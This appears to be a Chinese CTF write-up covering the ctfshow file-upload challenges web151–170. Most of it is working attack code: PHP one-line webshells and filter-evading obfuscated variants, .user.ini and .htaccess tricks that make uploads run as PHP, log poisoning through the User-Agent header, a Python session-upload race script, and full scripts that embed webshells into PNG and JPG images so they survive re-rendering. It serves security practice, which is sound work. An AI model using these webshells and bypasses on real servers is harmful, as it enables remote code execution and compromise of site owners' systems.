WEB入门 - 文件上传
WEB入门 - 文件上传
参考文章
https://fushuling.com/index.php/2023/08/20/ctfshow刷题记录持续更新中/
https://www.cnblogs.com/sen-y/p/15579078.html
http://i0921.cn/blog/5dc52b0aba304f6314a9229f/662062c9ed9f76063b6ceb80
web151
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">
看前端限制只能传png,抓图片马的上传包修改文件后缀为php即可
图片马内容
<?php @eval($_POST['cmd']);?>
web152
同上
web153
同上操作后出现报错(失败原因:文件类型不合规)
先传图片马,再传 .user.ini(同目录下)
.user.ini内容
auto_append_file=/var/www/html/upload/shell.png
或
auto_append_file=shell.png
同样的手法绕过上传
利用路径为url/upload

web154
过滤了php,采用短标签绕过
<?=eval($_POST[cmd]);?>
与后续web153手法相同,再上传 .user.ini,利用路径为url/upload
web155
同上
web156
在上题基础上过滤了[],用{}代替
<?=eval($_POST{cmd});?>
web157
在上题基础上增加过滤;,不写马了直接命令执行
<?=`tac ../f*`?>
或
<?=system("cat /var/www/html/flag.???")?>
web158
同上
web159
在上题基础上过滤了()
<?=`tac ../f*`?>
web160
在上题基础上过滤了反引号 `,还有log
利用日志包含与字符串拼接
wappalyzer指纹探测为nginx,日志默认路径为/var/log/nginx/access.log
图片马内容
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后上传.user.ini包含该文件即可,访问url/upload

可以看到包含日志成功,密密麻麻的字符串中,可以发现有UA信息,也就是http请求头的user-agent,所以可以把后门或者是命令执行插入到user-agent,前面的配置文件会连带执行php,就能拿到flag了

web161
在160的基础上增加了对图片头的验证
伪造图片文件头 GIF89a
shell.png
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
.user.ini
GIF89a
auto_append_file=shell.png
其他步骤如上
web162
在上传.user.ini文件时,经过检测发现对'.'进行了过滤
session文件包含+条件竞争
.user.ini文件内容为
GIF89a
auto_prepend_file=/tmp/sess_hacker

羽师傅的脚本
import requests
import threading
session=requests.session()
sess='hacker'
url1="http://71e41abe-748b-475a-8ef7-06fc4f8ecbb3.challenge.ctf.show/"
url2="http://71e41abe-748b-475a-8ef7-06fc4f8ecbb3.challenge.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'hacker'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

web163
同上
web164
png图片二次渲染绕过
原理
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'/1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
echo "执行成功!";
?>
生成1.png,上传成功后抓POST包命令执行
GET:&0=system
POST:1=tac flag.php
web165
jpg图片二次渲染绕过
传一张正常的jpg,成功后打开另存到本地
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
/*$miniPayload = "<?=phpinfo();?>";*/
$miniPayload = "<?=eval(\$_POST[cmd]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
运行此脚本
php jpg_payload.php download.jpg
抓POST的包执行命令

web166
{url: 'upload.php', accept: 'images',exts:'zip'}
只能上传压缩包,直接传一句话木马(shell.zip)
<?php @eval($_POST['cmd']);?>
如果失败可以尝试修改MIME类型
MIME类型:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
这里上传后抓取下载文件的包,转换为POST包并调整参数


web167
上传.htaccess
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件
再上传jpg图片马
访问文件,命令执行

web168
过滤了eval,system,$_POST,$_GET等
可用以下方法
脚本1:
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令
脚本2:
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
//a=system&b=tac ../flagaa.php
脚本3:
<?php $a='syste'.'m';($a)('ls ../'); //拼接
//把ls ../换成tac ../flagaa.php即可找到flag
脚本4:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可
脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php
上传上面任意脚本,修改后缀,可以看到成功上传,访问/upload/shell.php
web169
前端要求zip,后端要求png,但是还是可以修改后缀。又过滤了<>,?等符号
先修改后缀为 .zip 绕过前端,再修改 Content-Type: image/png绕过后端

尝试与web160相同的打法,利用.user.ini日志包含
.user.ini上传成功后再上传php文件,UA头写木马

上传成功后访问

cmd=system("ls ../");
cmd=system("tac ../flagaa.php");
web170
同上
WEB入门 - 文件上传的更多相关文章
- Web Uploader文件上传插件
http://www.jq22.com/jquery-info2665 插件描述:WebUploader是由Baidu WebFE(FEX)团队开发的一个简单的以HTML5为主,FLASH为辅的现 ...
- Web Uploader文件上传&&使用webupload有感(黄色部分)
引入资源 使用Web Uploader文件上传需要引入三种资源:JS, CSS, SWF. <!--引入CSS--> <link rel="stylesheet" ...
- 七牛云存储的 Javascript Web 前端文件上传
因为我的个人网站 restran.net 已经启用,博客园的内容已经不再更新.请访问我的个人网站获取这篇文章的最新内容,七牛云存储的 Web 前端文件上传 七牛是不错的云存储产品,特别是有免费的配额可 ...
- java web(四)文件上传与下载
一.文件上传原理 1.在TCP/IP中,最早出现的文件上传机制是FTP ,它是将文件由客户端发送到服务器的标准机制:但是在jsp使用过程中不能使用FTP方法上传文件,这是由jsp运行机制所决定. 通 ...
- 用VSCode开发一个asp.net core2.0+angular5项目(5): Angular5+asp.net core 2.0 web api文件上传
第一部分: http://www.cnblogs.com/cgzl/p/8478993.html 第二部分: http://www.cnblogs.com/cgzl/p/8481825.html 第三 ...
- Spring Boot入门——文件上传与下载
1.在pom.xml文件中添加依赖 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="ht ...
- web大文件上传(web应用---SSH框架)
版权所有 2009-2018荆门泽优软件有限公司 保留所有权利 官方网站:http://www.ncmem.com/ 产品首页:http://www.ncmem.com/webapp/up6.2/in ...
- web安全——文件上传
文件上传本身不是漏洞,但如果文件上传功能的限制出现纰漏,允许了不合法且影响网站安全的文件的上传 可以将不合法且影响网站安全稳定性的文件等内容上传的均为“文件上传漏洞” 黑方将文件上 ...
- 基于Web的文件上传管理系统
一般10M以下的文件上传通过设置Web.Config,再用VS自带的FileUpload控件就可以了,但是如果要上传100M甚至1G的文件就不能这样上传了.我这里分享一下我自己开发的一套大文件上传控件 ...
- java+web+大文件上传下载
文件上传是最古老的互联网操作之一,20多年来几乎没有怎么变化,还是操作麻烦.缺乏交互.用户体验差. 一.前端代码 英国程序员Remy Sharp总结了这些新的接口 ,本文在他的基础之上,讨论在前端采用 ...
随机推荐
- cesium教程8-官方示例翻译-图层亮度对比度调整
完整示例代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset="u ...
- tarjan板子整理
缩点 stack<int>q; void tarjan(int u) { pre[u]=low[u]=++cnt; q.push(u); vis[u]=1; for(int i=head[ ...
- 原生微信小程序
new Date 跨平台兼容性问题 在 Andriod 使用 new Date("2018-05-30 00:00:00")木有问题,但是在ios 下面识别不出来.因为 IOS 下 ...
- MindSponge分子动力学模拟——自定义控制器(2024.05)
技术背景 分子动力学模拟中的控制器(Controller)可以被用于修改模拟过程中的原子坐标和原子速度等参量,从而达到控制系统特定参量的目的.例如控温器可以用于实现NVT系综,控压器可用于实现NPT系 ...
- 卷爆短剧出海:五大关键,由AIGC重构
短剧高温下,谈谈AIGC的助攻路线. 短剧,一个席卷全球的高温赛道. 以往只是踏着霸总题材,如今,内容循着精品化.IP化的自然发展风向,给内容.制作.平台等产业全链都带来新机,也让短剧消费走向文化深处 ...
- ShardingJDBC使用不当引发的线上事故
本文讲述一个由 ShardingJDBC 使用不当引起的悲惨故事. 一. 问题重现 有一天运营反馈我们部分订单状态和第三方订单状态无法同步. 根据现象找到了不能同步订单状态是因为 order 表的 t ...
- CSS——position定位属性
就像photoshop中的图层功能会把一整张图片分层一个个图层一样,网页布局中的每一个元素也可以看成是一个个类似图层的层模型.层布局模型就是把网页中的每一个元素看成是一层一层的,然后通过定位属性pos ...
- Django——form组件之循环生成标签
from django.contrib import admin from django.urls import path from app01.views import index urlpatte ...
- 一文带你理解透MyBatis源码
本文分享自华为云社区<一文彻底吃透MyBatis源码!!>,作者:冰 河. 写在前面 随着互联网的发展,越来越多的公司摒弃了Hibernate,而选择拥抱了MyBatis.而且,很多大厂在 ...
- Your Post Title Here
VSCode 实时预览还需要执行 Markdown: Open Preview to the Side 命令来实现. 在命令窗口输入 Markdown: Open Preview to the Sid ...